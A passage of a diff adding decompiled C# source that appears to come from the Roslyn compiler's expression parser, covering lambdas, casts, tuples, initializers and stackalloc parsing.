SyntaxKind.CommaToken) ? true : false); + flag = flag2; + } + ExpressionSyntax expression = (flag ? ParseIdentifierName(ErrorCode.ERR_ValueExpected) : ((base.CurrentToken.Kind != SyntaxKind.CommaToken) ? ((syntaxToken != null && syntaxToken.Kind == SyntaxKind.OutKeyword) ? ParseExpressionOrDeclaration(ParseTypeMode.Normal, permitTupleDesignation: false) : ParseSubExpression(Precedence.Expression)) : ParseIdentifierName(ErrorCode.ERR_MissingArgument))); + return _syntaxFactory.Argument(nameColon, syntaxToken, expression); + } + + private TypeOfExpressionSyntax ParseTypeOfExpression() + { + return _syntaxFactory.TypeOfExpression(EatToken(), EatToken(SyntaxKind.OpenParenToken), ParseTypeOrVoid(), EatToken(SyntaxKind.CloseParenToken)); + } + + private ExpressionSyntax ParseDefaultExpression() + { + SyntaxToken syntaxToken = EatToken(); + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + return _syntaxFactory.DefaultExpression(syntaxToken, EatToken(SyntaxKind.OpenParenToken), ParseType(), EatToken(SyntaxKind.CloseParenToken)); + } + return _syntaxFactory.LiteralExpression(SyntaxKind.DefaultLiteralExpression, syntaxToken); + } + + private SizeOfExpressionSyntax ParseSizeOfExpression() + { + return _syntaxFactory.SizeOfExpression(EatToken(), EatToken(SyntaxKind.OpenParenToken), ParseType(), EatToken(SyntaxKind.CloseParenToken)); + } + + private MakeRefExpressionSyntax ParseMakeRefExpression() + { + return _syntaxFactory.MakeRefExpression(EatToken(), EatToken(SyntaxKind.OpenParenToken), ParseSubExpression(Precedence.Expression), EatToken(SyntaxKind.CloseParenToken)); + } + + private RefTypeExpressionSyntax ParseRefTypeExpression() + { + return _syntaxFactory.RefTypeExpression(EatToken(), EatToken(SyntaxKind.OpenParenToken), ParseSubExpression(Precedence.Expression), EatToken(SyntaxKind.CloseParenToken)); + } + + private CheckedExpressionSyntax ParseCheckedOrUncheckedExpression() + { + SyntaxToken syntaxToken = EatToken(); + SyntaxKind kind = ((syntaxToken.Kind == SyntaxKind.CheckedKeyword) ? SyntaxKind.CheckedExpression : SyntaxKind.UncheckedExpression); + return _syntaxFactory.CheckedExpression(kind, syntaxToken, EatToken(SyntaxKind.OpenParenToken), ParseSubExpression(Precedence.Expression), EatToken(SyntaxKind.CloseParenToken)); + } + + private RefValueExpressionSyntax ParseRefValueExpression() + { + return _syntaxFactory.RefValueExpression(EatToken(SyntaxKind.RefValueKeyword), EatToken(SyntaxKind.OpenParenToken), ParseSubExpression(Precedence.Expression), EatToken(SyntaxKind.CommaToken), ParseType(), EatToken(SyntaxKind.CloseParenToken)); + } + + private bool ScanParenthesizedLambda(Precedence precedence) + { + if (!ScanParenthesizedImplicitlyTypedLambda(precedence)) + { + return ScanExplicitlyTypedLambda(precedence); + } + return true; + } + + private bool ScanParenthesizedImplicitlyTypedLambda(Precedence precedence) + { + if (precedence != Precedence.Expression) + { + return false; + } + if (isParenVarCommaSyntax()) + { + int num = 3; + SyntaxToken syntaxToken; + SyntaxKind kind; + do + { + syntaxToken = PeekToken(num++); + kind = syntaxToken.Kind; + } + while (kind == SyntaxKind.IdentifierToken || kind == SyntaxKind.CommaToken || SyntaxFacts.IsPredefinedType(syntaxToken.Kind) || (!IsInQuery && IsTokenQueryContextualKeyword(syntaxToken))); + if (PeekToken(num - 1).Kind == SyntaxKind.CloseParenToken) + { + return PeekToken(num).Kind == SyntaxKind.EqualsGreaterThanToken; + } + return false; + } + if (IsTrueIdentifier(PeekToken(1))) + { + int num2 = 2; + if (PeekToken(num2).Kind == SyntaxKind.ExclamationToken && PeekToken(num2 + 1).Kind == SyntaxKind.ExclamationToken) + { + num2 += 2; + } + if (PeekToken(num2).Kind == SyntaxKind.CloseParenToken && PeekToken(num2 + 1).Kind == SyntaxKind.EqualsGreaterThanToken) + { + return true; + } + } + if (PeekToken(1).Kind == SyntaxKind.CloseParenToken && PeekToken(2).Kind == SyntaxKind.EqualsGreaterThanToken) + { + return true; + } + if (PeekToken(1).Kind == SyntaxKind.ParamsKeyword) + { + return true; + } + return false; + bool isParenVarCommaSyntax() + { + SyntaxToken syntaxToken2 = PeekToken(1); + if (syntaxToken2.Kind == SyntaxKind.IdentifierToken && (!IsInQuery || !IsTokenQueryContextualKeyword(syntaxToken2))) + { + SyntaxToken syntaxToken3 = PeekToken(2); + if (syntaxToken3.Kind == SyntaxKind.CommaToken) + { + return true; + } + SyntaxToken syntaxToken4 = PeekToken(3); + if (syntaxToken3.Kind == SyntaxKind.ExclamationToken && syntaxToken4.Kind == SyntaxKind.ExclamationToken && PeekToken(4).Kind == SyntaxKind.CommaToken) + { + return true; + } + } + return false; + } + } + + private bool ScanExplicitlyTypedLambda(Precedence precedence) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (precedence != Precedence.Expression) + { + return false; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + while (true) + { + EatToken(); + ParseAttributeDeclarations(inExpressionContext: true); + bool flag = false; + if (IsParameterModifierExcludingScoped(base.CurrentToken) || base.CurrentToken.ContextualKind == SyntaxKind.ScopedKeyword) + { + SyntaxListBuilder val = _pool.Allocate(); + ParseParameterModifiers(val, isFunctionPointerParameter: false); + flag = val.Count != 0; + _pool.Free(val); + } + if ((flag || ShouldParseLambdaParameterType()) && ScanType() == ScanTypeFlags.NotType) + { + break; + } + SyntaxToken identifier = (IsTrueIdentifier() ? EatToken() : CreateMissingIdentifierToken()); + ParseParameterNullCheck(ref identifier, out SyntaxToken equalsToken); + if (equalsToken == null) + { + equalsToken = TryEatToken(SyntaxKind.EqualsToken); + } + if (equalsToken != null) + { + ParseExpressionCore(); + } + switch (base.CurrentToken.Kind) + { + case SyntaxKind.CommaToken: + break; + case SyntaxKind.CloseParenToken: + return PeekToken(1).Kind == SyntaxKind.EqualsGreaterThanToken; + default: + return false; + } + } + return false; + } + } + + private ExpressionSyntax ParseCastOrParenExpressionOrTuple() + { + using DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false); + if (ScanCast() && !IsCurrentTokenQueryKeywordInQuery()) + { + disposableResetPoint.Reset(); + return _syntaxFactory.CastExpression(EatToken(SyntaxKind.OpenParenToken), ParseType(), EatToken(SyntaxKind.CloseParenToken), ParseSubExpression(Precedence.Cast)); + } + disposableResetPoint.Reset(); + SyntaxToken syntaxToken = EatToken(SyntaxKind.OpenParenToken); + ExpressionSyntax expressionSyntax = ParseExpressionOrDeclaration(ParseTypeMode.FirstElementOfPossibleTupleLiteral, permitTupleDesignation: true); + if (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + return ParseTupleExpressionTail(syntaxToken, _syntaxFactory.Argument(null, null, expressionSyntax)); + } + if (expressionSyntax.Kind == SyntaxKind.IdentifierName && base.CurrentToken.Kind == SyntaxKind.ColonToken) + { + return ParseTupleExpressionTail(syntaxToken, _syntaxFactory.Argument(_syntaxFactory.NameColon((IdentifierNameSyntax)expressionSyntax, EatToken()), null, ParseExpressionOrDeclaration(ParseTypeMode.FirstElementOfPossibleTupleLiteral, permitTupleDesignation: true))); + } + return _syntaxFactory.ParenthesizedExpression(syntaxToken, expressionSyntax, EatToken(SyntaxKind.CloseParenToken)); + } + + private TupleExpressionSyntax ParseTupleExpressionTail(SyntaxToken openParen, ArgumentSyntax firstArg) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + val.Add(firstArg); + while (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + val.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + ExpressionSyntax expressionSyntax = ParseExpressionOrDeclaration(ParseTypeMode.AfterTupleComma, permitTupleDesignation: true); + ArgumentSyntax argumentSyntax = ((expressionSyntax.Kind != SyntaxKind.IdentifierName || base.CurrentToken.Kind != SyntaxKind.ColonToken) ? _syntaxFactory.Argument(null, null, expressionSyntax) : _syntaxFactory.Argument(_syntaxFactory.NameColon((IdentifierNameSyntax)expressionSyntax, EatToken()), null, ParseExpressionOrDeclaration(ParseTypeMode.AfterTupleComma, permitTupleDesignation: true))); + val.Add(argumentSyntax); + } + if (val.Count < 2) + { + val.AddSeparator((GreenNode)(object)SyntaxFactory.MissingToken(SyntaxKind.CommaToken)); + val.Add(_syntaxFactory.Argument(null, null, AddError(CreateMissingIdentifierName(), ErrorCode.ERR_TupleTooFewElements))); + } + return _syntaxFactory.TupleExpression(openParen, _pool.ToListAndFree(ref val), EatToken(SyntaxKind.CloseParenToken)); + } + + private bool ScanCast(bool forPattern = false) + { + if (base.CurrentToken.Kind != SyntaxKind.OpenParenToken) + { + return false; + } + EatToken(); + ScanTypeFlags scanTypeFlags = ScanType(forPattern); + if (scanTypeFlags == ScanTypeFlags.NotType) + { + return false; + } + if (base.CurrentToken.Kind != SyntaxKind.CloseParenToken) + { + return false; + } + EatToken(); + if (forPattern && base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + return !isBinaryPattern(); + } + switch (scanTypeFlags) + { + case ScanTypeFlags.MustBeType: + case ScanTypeFlags.AliasQualifiedName: + case ScanTypeFlags.NullableType: + case ScanTypeFlags.PointerOrMultiplication: + { + bool flag = !forPattern; + if (!flag) + { + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2 = kind - 8198 <= SyntaxKind.List || kind - 8202 <= SyntaxKind.List || kind == SyntaxKind.DotDotToken || CanFollowCast(kind); + flag = flag2; + } + return flag; + } + case ScanTypeFlags.GenericTypeOrMethod: + case ScanTypeFlags.TupleType: + if (base.CurrentToken.Kind != SyntaxKind.OpenBracketToken) + { + return CanFollowCast(base.CurrentToken.Kind); + } + return true; + case ScanTypeFlags.GenericTypeOrExpression: + case ScanTypeFlags.NonGenericTypeOrExpression: + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken && PeekToken(1).Kind == SyntaxKind.CloseBracketToken) + { + return true; + } + return CanFollowCast(base.CurrentToken.Kind); + default: + throw ExceptionUtilities.UnexpectedValue((object)scanTypeFlags); + } + bool isBinaryPattern() + { + if (!isBinaryPatternKeyword()) + { + return false; + } + bool flag3 = true; + EatToken(); + while (isBinaryPatternKeyword()) + { + flag3 = !flag3; + EatToken(); + } + return flag3 == IsPossibleSubpatternElement(); + } + bool isBinaryPatternKeyword() + { + SyntaxKind contextualKind = base.CurrentToken.ContextualKind; + if (contextualKind - 8438 <= SyntaxKind.List) + { + return true; + } + return false; + } + } + + private bool IsPossibleLambdaExpression(Precedence precedence) + { + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + if (precedence != Precedence.Expression) + { + return false; + } + SyntaxToken syntaxToken = PeekToken(1); + if (syntaxToken.Kind == SyntaxKind.EqualsGreaterThanToken) + { + return true; + } + SyntaxToken syntaxToken2 = PeekToken(2); + SyntaxToken syntaxToken3 = PeekToken(3); + SyntaxKind kind = syntaxToken.Kind; + SyntaxKind kind2 = syntaxToken2.Kind; + SyntaxKind kind3 = syntaxToken3.Kind; + if (kind != SyntaxKind.ExclamationToken) + { + if (kind == SyntaxKind.ExclamationEqualsToken && kind2 == SyntaxKind.GreaterThanToken) + { + goto IL_008a; + } + } + else if (kind2 != SyntaxKind.ExclamationToken) + { + if (kind2 == SyntaxKind.ExclamationEqualsToken && kind3 == SyntaxKind.GreaterThanToken) + { + goto IL_008a; + } + } + else if (kind3 == SyntaxKind.EqualsGreaterThanToken) + { + goto IL_008a; + } + bool flag = false; + goto IL_0092; + IL_0092: + if (flag) + { + return true; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + if (base.CurrentToken.Kind != SyntaxKind.OpenBracketToken) + { + goto IL_00f8; + } + SyntaxList val = ParseAttributeDeclarations(inExpressionContext: true); + int count = val.Count; + if (count < 1) + { + goto IL_00f8; + } + AttributeListSyntax attributeListSyntax = val[count - 1]; + if (attributeListSyntax == null) + { + goto IL_00f8; + } + SyntaxToken closeBracketToken = attributeListSyntax.CloseBracketToken; + if (closeBracketToken == null || !((GreenNode)closeBracketToken).IsMissing) + { + goto IL_00f8; + } + flag = false; + goto end_IL_00a0; + IL_00f8: + bool flag2; + if (base.CurrentToken.Kind == SyntaxKind.StaticKeyword) + { + EatToken(); + flag2 = true; + } + else if (base.CurrentToken.ContextualKind == SyntaxKind.AsyncKeyword && PeekToken(1).Kind == SyntaxKind.StaticKeyword) + { + EatToken(); + EatToken(); + flag2 = true; + } + else + { + flag2 = false; + } + if (!flag2) + { + goto IL_0185; + } + if (base.CurrentToken.Kind == SyntaxKind.EqualsGreaterThanToken) + { + flag = true; + } + else + { + if (base.CurrentToken.Kind != SyntaxKind.OpenParenToken) + { + goto IL_0185; + } + flag = true; + } + goto end_IL_00a0; + IL_0185: + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken && PeekToken(1).Kind == SyntaxKind.EqualsGreaterThanToken) + { + flag = true; + } + else + { + if (base.CurrentToken.ContextualKind == SyntaxKind.AsyncKeyword && IsAnonymousFunctionAsyncModifier()) + { + EatToken(); + } + using (DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false)) + { + if (ScanType() == ScanTypeFlags.NotType || base.CurrentToken.Kind != SyntaxKind.OpenParenToken) + { + disposableResetPoint.Reset(); + } + } + flag = (base.CurrentToken.Kind == SyntaxKind.IdentifierToken && PeekToken(1).Kind == SyntaxKind.EqualsGreaterThanToken) || (base.CurrentToken.Kind == SyntaxKind.OpenParenToken && ScanParenthesizedLambda(precedence)); + } + end_IL_00a0:; + } + return flag; + IL_008a: + flag = true; + goto IL_0092; + } + + private static bool CanFollowCast(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.PercentToken: + case SyntaxKind.CaretToken: + case SyntaxKind.AmpersandToken: + case SyntaxKind.AsteriskToken: + case SyntaxKind.CloseParenToken: + case SyntaxKind.MinusToken: + case SyntaxKind.PlusToken: + case SyntaxKind.EqualsToken: + case SyntaxKind.OpenBraceToken: + case SyntaxKind.CloseBraceToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.CloseBracketToken: + case SyntaxKind.BarToken: + case SyntaxKind.ColonToken: + case SyntaxKind.SemicolonToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.CommaToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.DotToken: + case SyntaxKind.QuestionToken: + case SyntaxKind.SlashToken: + case SyntaxKind.DotDotToken: + case SyntaxKind.BarBarToken: + case SyntaxKind.AmpersandAmpersandToken: + case SyntaxKind.MinusMinusToken: + case SyntaxKind.PlusPlusToken: + case SyntaxKind.QuestionQuestionToken: + case SyntaxKind.MinusGreaterThanToken: + case SyntaxKind.ExclamationEqualsToken: + case SyntaxKind.EqualsEqualsToken: + case SyntaxKind.EqualsGreaterThanToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.LessThanLessThanToken: + case SyntaxKind.LessThanLessThanEqualsToken: + case SyntaxKind.GreaterThanEqualsToken: + case SyntaxKind.GreaterThanGreaterThanToken: + case SyntaxKind.GreaterThanGreaterThanEqualsToken: + case SyntaxKind.SlashEqualsToken: + case SyntaxKind.AsteriskEqualsToken: + case SyntaxKind.BarEqualsToken: + case SyntaxKind.AmpersandEqualsToken: + case SyntaxKind.PlusEqualsToken: + case SyntaxKind.MinusEqualsToken: + case SyntaxKind.CaretEqualsToken: + case SyntaxKind.PercentEqualsToken: + case SyntaxKind.QuestionQuestionEqualsToken: + case SyntaxKind.GreaterThanGreaterThanGreaterThanToken: + case SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken: + case SyntaxKind.SwitchKeyword: + case SyntaxKind.IsKeyword: + case SyntaxKind.AsKeyword: + case SyntaxKind.EndOfFileToken: + return false; + default: + return true; + } + } + + private ExpressionSyntax ParseNewExpression() + { + if (IsAnonymousType()) + { + return ParseAnonymousTypeExpression(); + } + if (IsImplicitlyTypedArray()) + { + return ParseImplicitlyTypedArrayCreation(); + } + return ParseArrayOrObjectCreationExpression(); + } + + private CollectionExpressionSyntax ParseCollectionExpression() + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openToken = EatToken(SyntaxKind.OpenBracketToken); + SeparatedSyntaxList elements = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBracketToken, (LanguageParser @this) => @this.IsPossibleCollectionElement(), (LanguageParser @this) => @this.ParseCollectionElement(), skipBadCollectionElementTokens, allowTrailingSeparator: true, requireOneElement: false, allowSemicolonAsSeparator: false); + return _syntaxFactory.CollectionExpression(openToken, elements, EatToken(SyntaxKind.CloseBracketToken)); + static PostSkipAction skipBadCollectionElementTokens(LanguageParser @this, ref SyntaxToken openBracket, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref openBracket, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleCollectionElement(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind); + } + } + + private bool IsPossibleCollectionElement() + { + return IsPossibleExpression(); + } + + private CollectionElementSyntax ParseCollectionElement() + { + SyntaxToken syntaxToken = TryEatToken(SyntaxKind.DotDotToken); + if (syntaxToken != null) + { + return _syntaxFactory.SpreadElement(syntaxToken, ParseExpressionCore()); + } + ExpressionSyntax expression = ParseExpressionCore(); + return _syntaxFactory.ExpressionElement(expression); + } + + private bool IsAnonymousType() + { + if (base.CurrentToken.Kind == SyntaxKind.NewKeyword) + { + return PeekToken(1).Kind == SyntaxKind.OpenBraceToken; + } + return false; + } + + private AnonymousObjectCreationExpressionSyntax ParseAnonymousTypeExpression() + { + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken newKeyword = EatToken(SyntaxKind.NewKeyword); + SyntaxToken openToken = EatToken(SyntaxKind.OpenBraceToken); + SeparatedSyntaxList initializers = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBraceToken, (LanguageParser @this) => @this.IsPossibleExpression(), (LanguageParser @this) => @this.ParseAnonymousTypeMemberInitializer(), SkipBadInitializerListTokens, allowTrailingSeparator: true, requireOneElement: false, allowSemicolonAsSeparator: false); + return _syntaxFactory.AnonymousObjectCreationExpression(newKeyword, openToken, initializers, EatToken(SyntaxKind.CloseBraceToken)); + } + + private AnonymousObjectMemberDeclaratorSyntax ParseAnonymousTypeMemberInitializer() + { + return _syntaxFactory.AnonymousObjectMemberDeclarator(IsNamedAssignment() ? ParseNameEquals() : null, ParseExpressionCore()); + } + + private bool IsInitializerMember() + { + if (!IsComplexElementInitializer() && !IsNamedAssignment() && !IsDictionaryInitializer()) + { + return IsPossibleExpression(); + } + return true; + } + + private bool IsComplexElementInitializer() + { + return base.CurrentToken.Kind == SyntaxKind.OpenBraceToken; + } + + private bool IsNamedAssignment() + { + if (IsTrueIdentifier()) + { + return PeekToken(1).Kind == SyntaxKind.EqualsToken; + } + return false; + } + + private bool IsDictionaryInitializer() + { + return base.CurrentToken.Kind == SyntaxKind.OpenBracketToken; + } + + private ExpressionSyntax ParseArrayOrObjectCreationExpression() + { + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken newKeyword = EatToken(SyntaxKind.NewKeyword); + TypeSyntax typeSyntax = null; + InitializerExpressionSyntax initializerExpressionSyntax = null; + if (!IsImplicitObjectCreation()) + { + typeSyntax = ParseType(ParseTypeMode.NewExpression); + if (typeSyntax.Kind == SyntaxKind.ArrayType) + { + if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) + { + initializerExpressionSyntax = ParseArrayInitializer(); + } + return _syntaxFactory.ArrayCreationExpression(newKeyword, (ArrayTypeSyntax)typeSyntax, initializerExpressionSyntax); + } + } + ArgumentListSyntax argumentListSyntax = null; + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + argumentListSyntax = ParseParenthesizedArgumentList(); + } + if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) + { + initializerExpressionSyntax = ParseObjectOrCollectionInitializer(); + } + if (argumentListSyntax == null && initializerExpressionSyntax == null) + { + argumentListSyntax = _syntaxFactory.ArgumentList(EatToken(SyntaxKind.OpenParenToken, ErrorCode.ERR_BadNewExpr, typeSyntax != null && !((GreenNode)typeSyntax).ContainsDiagnostics), default(SeparatedSyntaxList), SyntaxFactory.MissingToken(SyntaxKind.CloseParenToken)); + } + if (typeSyntax != null) + { + return _syntaxFactory.ObjectCreationExpression(newKeyword, typeSyntax, argumentListSyntax, initializerExpressionSyntax); + } + return _syntaxFactory.ImplicitObjectCreationExpression(newKeyword, argumentListSyntax, initializerExpressionSyntax); + } + + private bool IsImplicitObjectCreation() + { + if (base.CurrentToken.Kind != SyntaxKind.OpenParenToken) + { + return false; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + if (ScanTupleType(out var _) != ScanTypeFlags.NotType) + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.OpenBracketToken || kind == SyntaxKind.QuestionToken) + { + return false; + } + } + return true; + } + } + + private WithExpressionSyntax ParseWithExpression(ExpressionSyntax receiverExpression, SyntaxToken withKeyword) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openToken = EatToken(SyntaxKind.OpenBraceToken); + SeparatedSyntaxList expressions = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBraceToken, (LanguageParser @this) => @this.IsPossibleExpression(), (LanguageParser @this) => @this.ParseExpressionCore(), SkipBadInitializerListTokens, allowTrailingSeparator: true, requireOneElement: false, allowSemicolonAsSeparator: false); + return _syntaxFactory.WithExpression(receiverExpression, withKeyword, _syntaxFactory.InitializerExpression(SyntaxKind.WithInitializerExpression, openToken, expressions, EatToken(SyntaxKind.CloseBraceToken))); + } + + private InitializerExpressionSyntax ParseObjectOrCollectionInitializer() + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openToken = EatToken(SyntaxKind.OpenBraceToken); + SeparatedSyntaxList val = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBraceToken, (LanguageParser @this) => @this.IsInitializerMember(), (LanguageParser @this) => @this.ParseObjectOrCollectionInitializerMember(), SkipBadInitializerListTokens, allowTrailingSeparator: true, requireOneElement: false, allowSemicolonAsSeparator: false); + SyntaxKind kind = (isObjectInitializer(val) ? SyntaxKind.ObjectInitializerExpression : SyntaxKind.CollectionInitializerExpression); + return _syntaxFactory.InitializerExpression(kind, openToken, val, EatToken(SyntaxKind.CloseBraceToken)); + static bool isObjectInitializer(SeparatedSyntaxList initializers) + { + if (initializers.Count == 0) + { + return true; + } + int num = 0; + int count = initializers.Count; + while (num < count) + { + ExpressionSyntax expressionSyntax = initializers[num]; + bool flag; + if (expressionSyntax is AssignmentExpressionSyntax assignmentExpressionSyntax && expressionSyntax.Kind == SyntaxKind.SimpleAssignmentExpression) + { + ExpressionSyntax left = assignmentExpressionSyntax.Left; + if (left != null) + { + SyntaxKind kind2 = left.Kind; + if (kind2 == SyntaxKind.IdentifierName || kind2 == SyntaxKind.ImplicitElementAccess) + { + flag = true; + goto IL_0066; + } + } + } + flag = false; + goto IL_0066; + IL_0066: + if (flag) + { + return true; + } + num++; + } + return false; + } + } + + private ExpressionSyntax ParseObjectOrCollectionInitializerMember() + { + if (IsComplexElementInitializer()) + { + return ParseComplexElementInitializer(); + } + if (IsDictionaryInitializer()) + { + return ParseDictionaryInitializer(); + } + if (IsNamedAssignment()) + { + return ParseObjectInitializerNamedAssignment(); + } + return ParsePossibleRefExpression(); + } + + private static PostSkipAction SkipBadInitializerListTokens(LanguageParser @this, ref SyntaxToken startToken, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) where T : CSharpSyntaxNode + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref startToken, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleExpression(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind); + } + + private AssignmentExpressionSyntax ParseObjectInitializerNamedAssignment() + { + return _syntaxFactory.AssignmentExpression(SyntaxKind.SimpleAssignmentExpression, ParseIdentifierName(), EatToken(SyntaxKind.EqualsToken), (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) ? ParseObjectOrCollectionInitializer() : ParsePossibleRefExpression()); + } + + private AssignmentExpressionSyntax ParseDictionaryInitializer() + { + return _syntaxFactory.AssignmentExpression(SyntaxKind.SimpleAssignmentExpression, _syntaxFactory.ImplicitElementAccess(ParseBracketedArgumentList()), EatToken(SyntaxKind.EqualsToken), (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) ? ParseObjectOrCollectionInitializer() : ParsePossibleRefExpression()); + } + + private InitializerExpressionSyntax ParseComplexElementInitializer() + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openToken = EatToken(SyntaxKind.OpenBraceToken); + SeparatedSyntaxList expressions = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBraceToken, (LanguageParser @this) => @this.IsPossibleExpression(), (LanguageParser @this) => @this.ParseExpressionCore(), SkipBadInitializerListTokens, allowTrailingSeparator: false, requireOneElement: false, allowSemicolonAsSeparator: false); + return _syntaxFactory.InitializerExpression(SyntaxKind.ComplexElementInitializerExpression, openToken, expressions, EatToken(SyntaxKind.CloseBraceToken)); + } + + private bool IsImplicitlyTypedArray() + { + return PeekToken(1).Kind == SyntaxKind.OpenBracketToken; + } + + private ImplicitArrayCreationExpressionSyntax ParseImplicitlyTypedArrayCreation() + { + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken newKeyword = EatToken(SyntaxKind.NewKeyword); + SyntaxToken syntaxToken = EatToken(SyntaxKind.OpenBracketToken); + SyntaxListBuilder val = _pool.Allocate(); + int lastTokenPosition = -1; + while (IsMakingProgress(ref lastTokenPosition)) + { + if (IsPossibleExpression()) + { + ExpressionSyntax skippedSyntax = AddError(ParseExpressionCore(), ErrorCode.ERR_InvalidArray); + if (val.Count == 0) + { + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)skippedSyntax); + } + else + { + AddTrailingSkippedSyntax(val, (GreenNode)(object)skippedSyntax); + } + } + if (base.CurrentToken.Kind != SyntaxKind.CommaToken) + { + break; + } + val.Add((GreenNode)(object)EatToken()); + } + return _syntaxFactory.ImplicitArrayCreationExpression(newKeyword, syntaxToken, _pool.ToTokenListAndFree(val), EatToken(SyntaxKind.CloseBracketToken), ParseArrayInitializer()); + } + + private InitializerExpressionSyntax ParseArrayInitializer() + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openToken = EatToken(SyntaxKind.OpenBraceToken); + SeparatedSyntaxList expressions = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBraceToken, (LanguageParser @this) => @this.IsPossibleVariableInitializer(), (LanguageParser @this) => @this.ParseVariableInitializer(), skipBadArrayInitializerTokens, allowTrailingSeparator: true, requireOneElement: false, allowSemicolonAsSeparator: false); + return _syntaxFactory.InitializerExpression(SyntaxKind.ArrayInitializerExpression, openToken, expressions, EatToken(SyntaxKind.CloseBraceToken)); + static PostSkipAction skipBadArrayInitializerTokens(LanguageParser @this, ref SyntaxToken openBrace, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref openBrace, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleVariableInitializer(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind); + } + } + + private ExpressionSyntax ParseStackAllocExpression() + { + if (!IsImplicitlyTypedArray()) + { + return ParseRegularStackAllocExpression(); + } + return ParseImplicitlyTypedStackAllocExpression(); + } + + private ExpressionSyntax ParseImplicitlyTypedStackAllocExpression() + { + SyntaxToken stackAllocKeyword = EatToken(SyntaxKind.StackAllocKeyword); + SyntaxToken syntaxToken = EatToken(SyntaxKind.OpenBracketToken); + int lastTokenPosition = -1; + while (IsMakingProgress(ref lastTokenPosition)) + { + if (IsPossibleExpression()) + { + ExpressionSyntax skippedSyntax = AddError(ParseExpressionCore(), ErrorCode.ERR_InvalidStackAllocArray); + syntaxToken = 